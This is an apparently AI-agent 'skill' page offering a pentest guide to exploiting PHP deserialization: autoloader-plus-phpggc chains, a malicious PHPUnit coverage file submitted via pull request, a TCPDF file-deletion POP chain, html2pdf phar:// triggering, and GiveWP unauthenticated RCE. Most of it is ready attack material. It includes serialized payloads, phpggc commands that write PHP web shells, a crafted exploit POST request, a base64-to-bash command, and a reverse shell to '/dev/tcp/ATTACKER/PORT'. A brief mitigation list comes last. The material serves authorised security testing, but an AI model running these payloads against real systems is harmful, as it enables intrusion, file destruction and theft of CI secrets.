# PHP Deserialization Pentest

> PHP deserialization exploitation for pentesting. Use this skill whenever you need to exploit PHP deserialization vulnerabilities, including spl_autoload_register abuse, phpggc gadget chains, PHPUnit PHPT coverage attacks, TCPDF POP chains, html2pdf phar:// exploitation, or GiveWP unauthenticated RCE. Trigger this skill for any PHP deserialization testing, gadget chain construction, or when analyzing PHP applications for unsafe unserialize() calls.

- Skill: `abelrguezr/php-deserialization-pentest` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/php-deserialization-pentest`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/php-deserialization-pentest/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/php-deserialization-pentest

---


# PHP Deserialization Pentesting

A comprehensive guide to exploiting PHP deserialization vulnerabilities in web applications and CI/CD pipelines.

## Quick Reference

| Attack Vector | Prerequisites | Impact |
|--------------|---------------|--------|
| spl_autoload_register + LFI | Deserialization + custom autoloader | RCE via file loading |
| PHPUnit PHPT Coverage | CI/CD with phpunit < 8.5.52/9.6.34/10.5.63/11.5.50/12.5.8 | RCE in CI container |
| TCPDF __destruct | TCPDF loaded + unserialize() | Arbitrary file deletion |
| html2pdf phar:// | html2pdf ≤5.3.0 + PHP < 8.0 | File deletion via phar metadata |
| GiveWP <3.14.2 | GiveWP plugin + Stripe/Faker deps | Unauthenticated RCE |

## 1. spl_autoload_register + LFI/Gadget Chain

### When to Use
- You found PHP deserialization but no gadgets in the current app
- Another vulnerable app shares the same container with exploitable libraries
- The target uses `spl_autoload_register` with path transformation logic

### Attack Flow

1. **Identify the autoloader pattern**
   ```php
   // Common pattern: underscores → slashes
   spl_autoload_register(function ($name) {
       if (preg_match('/_/', $name)) {
           $name = preg_replace('/_/', '/', $name);
       }
       $filename = "/${name}.php";
       if (file_exists($filename)) {
           require $filename;
       }
   });
   ```

2. **Load external composer autoload**
   - Class name becomes file path: `www_frontend_vendor_autoload` → `/www/frontend/vendor/autoload.php`
   - Payload: `O:28:"www_frontend_vendor_autoload":0:{}`

3. **Generate phpggc payload for the external library**
   ```bash
   phpggc Guzzle FW1 /tmp/a.php "<?php system('YOUR_COMMAND'); ?>" -o
   ```

4. **Combine into single serialized array**
   ```php
   a:2:{
     s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}
     s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{...}
   }
   ```

5. **Add LFI loader for the created file**
   ```php
   a:3:{
     s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}
     s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{...}
     s:6:"Extra3";O:5:"tmp_a":0:{}
   }
   ```

### Important Notes
- **Private properties may be dropped**: If gadget attributes arrive empty, edit the `chain.php` to make properties `public`
- **May require two requests**: First creates the file, second loads it
- **File upload shortcut**: If you can upload `.php` files, abuse the autoloader directly for RCE

## 2. PHPUnit PHPT Coverage Deserialization (CI/CD)

### When to Use
- Target uses PHPUnit with PHPT coverage
- You can contribute test files to the repository
- PHPUnit version < 8.5.52 / 9.6.34 / 10.5.63 / 11.5.50 / 12.5.8 (CVE-2026-24765)

### Attack Flow

1. **Create malicious coverage file**
   ```php
   <?php
   $payload = file_get_contents('php://stdin'); // phpggc serialized gadget
   file_put_contents('exploit.coverage', $payload);
   ```

2. **Place in repository** alongside a PHPT test file

3. **Submit PR** - CI executes `phpunit --configuration phpunit.xml`

4. **PHPT runner deserializes** the coverage file → RCE in CI container

### Impact
- RCE inside CI/CD runner
- Access to mounted secrets (cloud creds, deployment keys)
- No web access required

## 3. TCPDF __destruct POP Chain

### When to Use
- Application uses TCPDF and calls `unserialize()` on user input
- TCPDF version < 6.9.3 (older versions have weaker path checks)
- Goal: arbitrary file deletion

### Payload Structure

```php
a:1:{
  s:4:"html";
  O:5:"TCPDF":2:{
    s:7:"file_id";i:-1;
    s:9:"imagekeys";a:1:{
      i:0;s:39:"/tmp/../tmp/do_not_delete_this_file.txt";
    }
  }
}
```

### How It Works
1. TCPDF `__destruct()` calls `_destroy(true)`
2. Iterates over `$this->imagekeys`
3. `unlink()`s paths under `K_PATH_CACHE`
4. Path traversal bypasses restrictions

### Triggering via phar:// in html2pdf

**Prerequisites**: html2pdf ≤5.3.0, PHP < 8.0

1. **Create Phar archive**
   ```bash
   # Use scripts/create-phar-payload.py
   python scripts/create-phar-payload.py \
     --metadata "<serialized TCPDF payload>" \
     --output archive.png
   ```

2. **Upload/place the file** (e.g., `/tmp/user_files/user_1/archive.png`)

3. **Submit HTML with CERT tag**
   ```html
   <cert src="phar:///tmp/user_files/user_1/archive.png"
         privkey="phar:///tmp/user_files/user_1/archive.png" />
   ```

4. **html2pdf calls `file_exists()`** → deserializes Phar metadata → TCPDF destructor runs

## 4. GiveWP Unauthenticated RCE (CVE-2024-5932)

### When to Use
- WordPress site with GiveWP plugin < 3.14.2
- Donation forms accessible without authentication
- Stripe and Faker dependencies present

### Attack Flow

1. **Generate payload** using phpggc or PoC
   ```bash
   uv run CVE-2024-5932-rce.py -u "<form_url>" -c "<command>"
   ```

2. **POST to donation endpoint**
   ```http
   POST /donations/<slug>/ HTTP/1.1
   Host: target.com
   Content-Type: application/x-www-form-urlencoded

   amount=5&give-form-id=1&give-form-title=Any&give-gateway=offline&action=give_process_donation&give_title=<serialized_payload>
   ```

3. **Use blind RCE techniques**
   - Reverse shell: `bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"`
   - Callback payloads for output exfiltration
   - File deletion via `unlink` sink

### Chain Components
- `Stripe\StripeObject` - base object
- `Give\Vendors\Faker\ValidGenerator` - validator sink
- `Give\Onboarding\SettingsRepository` - command storage
- Sink: `shell_exec` or `unlink`

## 5. Finding and Testing Deserialization

### Detection Patterns

```php
// Direct unserialize
unserialize($_GET['data']);
unserialize(file_get_contents('php://input'));

// Indirect via session
session_start(); // with user-controlled session data

// Via file includes
include($_POST['file']); // with serialized content

// Via phar:// streams
file_exists('phar://' . $_GET['file']);
```

### Testing Checklist

- [ ] Identify unserialize() calls in codebase
- [ ] Check for custom `__wakeup()` or `__destruct()` methods
- [ ] Map available classes and their magic methods
- [ ] Search phpggc for compatible gadgets: `phpggc -l | grep -E "<library>"`
- [ ] Test with simple payloads first: `O:1:"stdClass":0:{}`
- [ ] Check for output filters or error suppression

### phpggc Quick Commands

```bash
# List all available gadgets
phpggc -l

# Search for specific library
phpggc -l | grep -E "Guzzle|Monolog|Drupal|WordPress"

# Generate payload
phpggc <Gadget> <Function> <Argument> -o

# Generate with custom output
phpggc Guzzle FW1 /tmp/shell.php "<?php system('id'); ?>" -o
```

## 6. Payload Construction Tips

### Private Property Issue
When mixing gadgets across applications, private properties may be dropped during deserialization if class definitions differ.

**Solution**: Edit the gadget's `chain.php` to make properties `public`:
```php
// Before
private $filename;

// After
public $filename;
```

### Multi-Object Arrays
Combine multiple objects in one serialized array for complex chains:
```php
a:3:{
  s:5:"obj1";O:28:"ClassLoader":0:{}
  s:5:"obj2";O:31:"GadgetObject":4:{...}
  s:5:"obj3";O:5:"Loader":0:{}
}
```

### Base64 Encoding
For command injection in file creation:
```php
<?php system('echo <base64_command> | base64 -d | bash'); ?>
```

## 7. Mitigation Recommendations

### For Developers
- **Never** call `unserialize()` on user input
- Use `json_decode()` for structured data
- Implement strict type checking
- Keep dependencies updated (check phpggc for known gadgets)
- Use PHP 8.0+ (phar:// stream restrictions)

### For Security Teams
- Monitor for `unserialize()` in code reviews
- Scan dependencies with phpggc compatibility checks
- Test CI/CD pipelines for coverage file handling
- Review file upload and phar:// stream usage

## 8. References

- [phpggc - PHP Gadget Chains](https://github.com/ambionics/phpggc)
- [Positive Technologies - Blind Trust PDF Research](https://swarm.ptsecurity.com/blind-trust-what-is-hidden-behind-the-process-of-creating-your-pdf-file/)
- [CVE-2024-5932 - GiveWP RCE](https://github.com/EQSTLab/CVE-2024-5932)
- [CVE-2026-24765 - PHPUnit PHPT Coverage](https://cvereports.com/reports/CVE-2026-24765)
- [GitLab Advisory - TCPDF Phar Deserialization](https://advisories.gitlab.com/pkg/composer/tecnickcom/tcpdf/)

## Scripts

Use the bundled scripts for common tasks:

- `scripts/generate-payload.py` - Generate phpggc payloads with custom options
- `scripts/create-phar-payload.py` - Create Phar archives with serialized metadata
- `scripts/find-unserialize.py` - Scan codebase for unsafe unserialize() calls

Run with `--help` for usage details.

